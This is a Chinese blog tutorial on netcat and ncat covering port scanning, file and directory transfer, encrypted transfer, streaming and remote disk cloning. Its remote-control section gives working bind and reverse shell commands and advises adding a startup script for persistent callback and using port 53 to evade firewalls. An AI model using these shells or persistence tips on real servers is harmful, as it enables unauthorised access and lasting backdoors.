网络工具netcat介绍及使用
yuyutoo 2025-01-20 17:49 1 浏览 0 评论
netcat 简称 nc,安全界叫它瑞士军刀。ncat 也会顺便介绍,弥补了 nc 的不足,被叫做 21 世纪的瑞士军刀。nc 的基本功能如下:
- 端口扫描
- telnet / 获取系统 banner 信息
- 传输文本信息
- 传输文件和目录
- 加密传输文件
- 远程控制 / 木马
- 流媒体服务器
- 远程克隆硬盘
首先还是通过-h来查看使用说明:
其中有两个参数用得比较多,v 参数就是列出执行过程的详细信息,n 参数翻译过来就是仅接收 ip 地址,没有 dns。之所以使用 n 参数,是因为使用命令的过程中只去传入 ip,减少了 nc 把域名解析为 ip 的过程,这样可以节省时间提高效率。
端口扫描
nc 用来进行端口扫描的命令是 nc -nvz ip 地址 端口号,z参数从帮助说明里翻译过来差不多是“不进行 i/o,用来扫描”的意思,可以理解成仅仅是去 ping 去探测目标是否开启指定端口,不进行任何的交互。
z 参数默认扫描的是 tcp 类型,如果需要扫描 udp,则需要使用一个新参数 u。
每一个扫描器的扫描结果都不一定准确,最好多使用几款扫描器对目标进行扫描,综合结果进行判断,会相对更准确一些。
telnet / 获取系统 banner 信息
telnet使用率大不如以前了,基本被ssh取代了,最大的弊端在于其明文传输。nc 也是明文方式传输的数据,所以后续需要使用nmap下的ncat工具来结合一下,弥补其不足。nc 在这里可以获取服务器banner信息。用163邮箱服务器作为例子:
后面还可以通过传递USER、PASSWARD进行登录,但是传递的账户名和密码都是需要加密过的,不能直接传明文,这里不再展开。
根据返回的信息可以知道,其使用的是 coremail 邮件系统。
传输文本信息
nc 可以在两台机器之间相互传递信息,首先需要有一台机器进行监听一个端口,另一台以连接的方式去连接其指定的端口,这样两台机器之间建立了通信后,相互之间可以传输信息。l(小写)参数是监听模式的意思,p参数是指定一个端口。
这种相互传输信息和渗透之间的关系是,电子取证的时候可以用。当机器被攻击后,为了不破坏现场,需要提出大量的信息和文件出来做分析,这时候可以用 nc 的这个机制,例如,需要一个命令的输出信息,首先自己机器上监听一个端口,随后在被攻击的机器上执行相关的命令,然后以管道给 nc,指定自己机器的地址和端口,这样输出结果就会到自己机器上,如下图:
如果输出内容过多,则可以将内容定向输出到文件中:
这里再介绍一个参数q,作用是传输完以后等待指定时间自动断开。
传输文件和目录
传输文件和目录的这些功能,其实和文本信息传输类似,只不过是把文本信息换成了文件和目录。首先用一台机器监听一个端口,如果有人连接并传来信息时,则将信息使用 > 重定向到文件。另一台机器连接目标指定端口然后通过 < 输出要传送的文件即可。
传输文件:
B向A传输一个mp3文件
A: nc -lp 333 > 1.mp3
B: nc -nv 1.1.1.1 333 < 1.mp3
A向B传输一个mp3文件
A: nc -q 1 -lp 333 < a.mp3
B: nc -nv 1.1.1.1 333 > a.pm3
文件格式没什么限制,只要源文件和接收文件格式一致就行。
传输目录:
tar是打包解包工具,不会使用的可以查一下使用说明
A打包指定的文件夹,打包后的文件传给请求方,music前面的-是代表打包后的文件名的,但是这里直接传输了,有没有具体文件名都可以
B请求目标地址端口,将返回的内容解包
A: tar -cvf - music/ | nc -lp 333 -q 1
B: nc -nv 1.1.1.1 333 | tar -xvf -
加密传输文件
加密传输文件需要使用 mcrypt 库,linux 系统默认是没有安装的,需要手动安装。使用和传输文件类似,只需要在传输文件时使用 mcrypt 加密即可。
具体使用:
接收端:
nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp3
发送端:
mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp3 | nc -nv 1.1.1.1 333 -q 1
命令用到的参数有,--flush 立即冲洗输出,-F 输出数据,-b 不保留算法信息,-q 关闭一些不是严重的警告,-d 解密,首先在接收端监听一个端口,等待另一台进行连接传送文件,随后在要传送的机器上把要传送的文件进行加密使用 nc 连接指定的地址和 ip。
发送端第一次需要输入加密的密码,然后回车再次确认密码,接收端输入相应的密码就会收到传输的文件。
远程控制 / 木马
实现方式如下:
正向:
被控制端:
nc -lp 333 -c bash
控制端
nc 1.1.1.1 333
反向:
控制端:
nc -lp 333
被控制端:
nc 1.1.1.1 333 -c bash
简单总结就是谁输-c,谁就被控制
原理和传输文件一样,只不过传输的是 bash,windows 系统是 cmd,正向是被控制机器主动指定 bash,然后通过别人连接自己的端口,别人连接自己后,执行的命令就是被控制的机器。反向就是控制端指定bash,连接被控制端后,指定命令的还是被控制的机器。
通常情况下,一般的服务器都会有防火墙,很少会允许其他外在的机器来连接自己的某一个端口,只有某些指定端口可能会允许访问,例如 web 服务的 80 端口。这时正向的 shell 就不起作用了,而防火墙一般都会禁止外在机器来连接自己机器的其他端口,但自己的机器访问外面的端口一般不会做限制,这时候就可以使用反向 shell,也就是攻击者给自己的机器开一个端口,让目标服务器来连自己,并提供bash。为了达到这个目的,可以写一个脚本放到目标服务器的开机启动中,只要目标服务器运行就会连接自己。
当然,有些管理员安全意识比较好的话,也会限制自己的服务器访问外在的一些端口,这种情况很少见,但也有,这时可以指定常用的端口,例如服务器要使用 dns 服务的 53 端口,这时候自己就可以监听 53 让目标服务器来连接自己。
流媒体服务器
具体实现方式:
服务端:
cat 1.mp4 | nc -lp 333
客户端:
nc -nv 1.1.1.1 333 | mplayer -vo xll -cache 3000 -
其中mplayer在有些Linux中是没有默认安装的,如果没有就手动安装一下。
其中vo参数是选择驱动程序,cache参数的意思是每秒要接收的播放帧。
远程克隆硬盘
我们都知道文件删除的原理,在不格式化的情况下,删除文件后是可以通过一些手段还原回来的,所以在远程电子取证时,远程克隆硬盘就显得很有作用了。
具体使用时需要借助命令dd,首先通过nc监听一个端口,然后通过dd指定要克隆的分区,dd的of参数相当于一个复制功能,然后在另一台机器通过nc连接此端口,dd的if参数相当于粘贴的命令。
接收端:
nc -lp 333 | dd of=/dev/sda
被复制端:
dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1
ncat
nc 也有不足之处,首先就是明文传输,可能会被嗅探。其次对于反向shell,如果其他人通过网络扫描发现了这个端口,也就意味着任何人都可以去监听这个端口进行连接,缺乏身份验证功能。
ncat则弥补了这些缺点,ncat不是linux系统自带的命令,而是nmap中的。ncat的使用参数很多和nc是一样的,可以通过--alow参数来指定允许连接的机器,通过--ssl进行数据的加密。
被控制端:
ncat -c bash --allow 192.168.14.33 -vnl 333 --ssl
控制端:
ncat -nv 1.1.1.1 333 --ssl
通过allow参数即可指定允许连接的机器,这时如果其他人即使扫描到了这个端口也无法进行连接。
- 上一篇:Linux-什么是网桥?
- 下一篇:Shell简单实现多线程
相关推荐
- 史上最全的浏览器兼容性问题和解决方案
-
微信ID:WEB_wysj(点击关注)◎◎◎◎◎◎◎◎◎一┳═┻︻▄(页底留言开放,欢迎来吐槽)●●●...
-
- 平面设计基础知识_平面设计基础知识实验收获与总结
-
CSS构造颜色,背景与图像1.使用span更好的控制文本中局部区域的文本:文本;2.使用display属性提供区块转变:display:inline(是内联的...
-
2025-02-21 16:01 yuyutoo
- 写作排版简单三步就行-工具篇_作文排版模板
-
和我们工作中日常word排版内部交流不同,这篇教程介绍的写作排版主要是用于“微信公众号、头条号”网络展示。写作展现的是我的思考,排版是让写作在网格上更好地展现。在写作上花费时间是有累积复利优势的,在排...
- 写一个2048的游戏_2048小游戏功能实现
-
1.创建HTML文件1.打开一个文本编辑器,例如Notepad++、SublimeText、VisualStudioCode等。2.将以下HTML代码复制并粘贴到文本编辑器中:html...
- 今天你穿“短袖”了吗?青岛最高23℃!接下来几天气温更刺激……
-
最近的天气暖和得让很多小伙伴们喊“热”!!! 昨天的气温到底升得有多高呢?你家有没有榜上有名?...
- CSS不规则卡片,纯CSS制作优惠券样式,CSS实现锯齿样式
-
之前也有写过CSS优惠券样式《CSS3径向渐变实现优惠券波浪造型》,这次再来温习一遍,并且将更为详细的讲解,从布局到具体样式说明,最后定义CSS变量,自定义主题颜色。布局...
- 你的自我界限够强大吗?_你的自我界限够强大吗英文
-
我的结果:A、该设立新的界限...
- 行内元素与块级元素,以及区别_行内元素和块级元素有什么区别?
-
行内元素与块级元素首先,CSS规范规定,每个元素都有display属性,确定该元素的类型,每个元素都有默认的display值,分别为块级(block)、行内(inline)。块级元素:(以下列举比较常...
-
- 让“成都速度”跑得潇潇洒洒,地上地下共享轨交繁华
-
去年的两会期间,习近平总书记在参加人大会议四川代表团审议时,对治蜀兴川提出了明确要求,指明了前行方向,并带来了“祝四川人民的生活越来越安逸”的美好祝福。又是一年...
-
2025-02-21 16:00 yuyutoo
- 今年国家综合性消防救援队伍计划招录消防员15000名
-
记者24日从应急管理部获悉,国家综合性消防救援队伍2023年消防员招录工作已正式启动。今年共计划招录消防员15000名,其中高校应届毕业生5000名、退役士兵5000名、社会青年5000名。本次招录的...
- 一起盘点最新 Chrome v133 的5大主流特性 ?
-
1.CSS的高级attr()方法CSSattr()函数是CSSLevel5中用于检索DOM元素的属性值并将其用于CSS属性值,类似于var()函数替换自定义属性值的方式。...
- 竞走团体世锦赛5月太仓举行 世界冠军杨家玉担任形象大使
-
style="text-align:center;"data-mce-style="text-align:...
- 学物理能做什么?_学物理能做什么 卢昌海
-
作者:曹则贤中国科学院物理研究所原标题:《物理学:ASourceofPowerforMan》在2006年中央电视台《对话》栏目的某期节目中,主持人问过我一个的问题:“学物理的人,如果日后不...
-
- 你不知道的关于这只眯眼兔的6个小秘密
-
在你们忙着给熊本君做表情包的时候,要知道,最先在网络上引起轰动的可是这只脸上只有两条缝的兔子——兔斯基。今年,它更是迎来了自己的10岁生日。①关于德艺双馨“老艺...
-
2025-02-21 16:00 yuyutoo
你 发表评论:
欢迎- 一周热门
- 最近发表
- 标签列表
-
- mybatis plus (70)
- scheduledtask (71)
- css滚动条 (60)
- java学生成绩管理系统 (59)
- 结构体数组 (69)
- databasemetadata (64)
- javastatic (68)
- jsp实用教程 (53)
- fontawesome (57)
- widget开发 (57)
- vb net教程 (62)
- hibernate 教程 (63)
- case语句 (57)
- svn连接 (74)
- directoryindex (69)
- session timeout (58)
- textbox换行 (67)
- extension_dir (64)
- linearlayout (58)
- vba高级教程 (75)
- iframe用法 (58)
- sqlparameter (59)
- trim函数 (59)
- flex布局 (63)
- contextloaderlistener (56)